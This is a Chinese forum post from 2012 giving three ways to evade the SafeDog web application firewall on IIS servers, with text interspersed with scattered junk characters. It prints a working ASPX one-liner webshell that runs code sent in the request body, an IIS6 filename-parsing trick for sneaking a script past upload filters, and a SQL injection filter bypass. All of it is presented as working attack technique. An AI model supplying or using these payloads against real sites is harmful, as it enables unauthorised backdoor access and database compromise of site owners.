1、绕过IIS安全狗的一句话。
4 E0 v0 X9 I4 v0 |: \( S前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。4 T, L2 k# v! m! @
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
4 D4 G! |) G- d4 E7 W. Y# T" R0 }# G& n
2、IIS6.0解析漏洞遇到安全狗。) |8 b, c1 m8 \2 ^- V3 ~1 f B% g
文件名为 }5 W0 ]" ^0 a2 Q- v
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
; a5 I' k: O8 Z* |
6 \) D/ [0 t' d; B这样的会被IIS安全狗果断屏蔽。
; c' x3 o1 Q' `% V8 \改成如下名称,IIS6一样会解析：) [2 V/ l& u, A" T5 @, Y6 a
www.xxxxx.com/;1.asp;1.jpg
. K* I' ~9 ^* `6 M+ E' Q# B F _. |. l. }
3、安全狗的注入绕过。
* a, |$ j+ k% v* H, i4 W常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。9 W' E$ i- m5 Y2 Z u; u
但如果：
# N$ d+ g/ G- ?r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1- X( p3 K1 r3 Z- W1 I/ \4 P7 ~
就可以成功绕过了。1 m, a7 K$ J3 K3 k0 i( }. C2 [
5 |- M! x4 A. {7 ^0 z! ~1 k9 e: D9 h$ I
|
发表于 2012-10-31 08:25:30
收藏
支持
反对